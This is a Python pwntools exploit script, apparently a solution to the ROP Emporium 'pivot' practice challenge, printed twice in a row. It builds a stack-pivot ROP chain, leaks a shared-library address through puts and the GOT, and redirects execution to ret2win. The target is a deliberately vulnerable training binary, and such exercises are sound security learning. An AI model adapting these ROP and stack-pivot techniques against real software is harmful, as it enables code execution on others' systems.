<gh_stars>100-1000
from Exrop import Exrop
from pwn import *

context.terminal = "tmux splitw -h -f".split()
binname = "pivot"
p = process(binname)
rop = Exrop(binname)
elf = ELF(binname, checksec=False)
libpivot = ELF("./libpivot.so", checksec=False)
buf = b"A"*0x28
ret = 0x00000000004007c9 # for padding

rop.find_gadgets(cache=True)
puts = elf.symbols['puts']
footholdgot = elf.got['foothold_function']
foothold = elf.symbols['foothold_function']
main = elf.symbols['main']

p.recvuntil(": ")
pivot_addr = int(p.recvuntil("\n", drop=True), 16)

pivot_chain = rop.stack_pivot(pivot_addr, avoid_char=b"\x0a")
pivot_chain.dump()
chain2 = rop.func_call(puts, (footholdgot,))
chain2.dump()
pay = buf + pivot_chain.payload_str()

rop = p64(foothold) + chain2.payload_str() + p64(main)
p.sendlineafter("> ", rop)
p.sendlineafter("> ", pay)
p.recvuntil("libpivot.so")
leak = u64(p.recvuntil("\n", drop=True).ljust(8, b"\x00"))
libpivot.address = leak - libpivot.symbols['foothold_function']
ret2win = libpivot.symbols['ret2win']
print(hex(libpivot.address))
p.sendlineafter("> ", buf + p64(ret) + p64(ret2win))
p.interactive()

from Exrop import Exrop
from pwn import *

context.terminal = "tmux splitw -h -f".split()
binname = "pivot"
p = process(binname)
rop = Exrop(binname)
elf = ELF(binname, checksec=False)
libpivot = ELF("./libpivot.so", checksec=False)
buf = b"A"*0x28
ret = 0x00000000004007c9 # for padding

rop.find_gadgets(cache=True)
puts = elf.symbols['puts']
footholdgot = elf.got['foothold_function']
foothold = elf.symbols['foothold_function']
main = elf.symbols['main']

p.recvuntil(": ")
pivot_addr = int(p.recvuntil("\n", drop=True), 16)

pivot_chain = rop.stack_pivot(pivot_addr, avoid_char=b"\x0a")
pivot_chain.dump()
chain2 = rop.func_call(puts, (footholdgot,))
chain2.dump()
pay = buf + pivot_chain.payload_str()

rop = p64(foothold) + chain2.payload_str() + p64(main)
p.sendlineafter("> ", rop)
p.sendlineafter("> ", pay)
p.recvuntil("libpivot.so")
leak = u64(p.recvuntil("\n", drop=True).ljust(8, b"\x00"))
libpivot.address = leak - libpivot.symbols['foothold_function']
ret2win = libpivot.symbols['ret2win']
print(hex(libpivot.address))
p.sendlineafter("> ", buf + p64(ret) + p64(ret2win))
p.interactive()
# for padding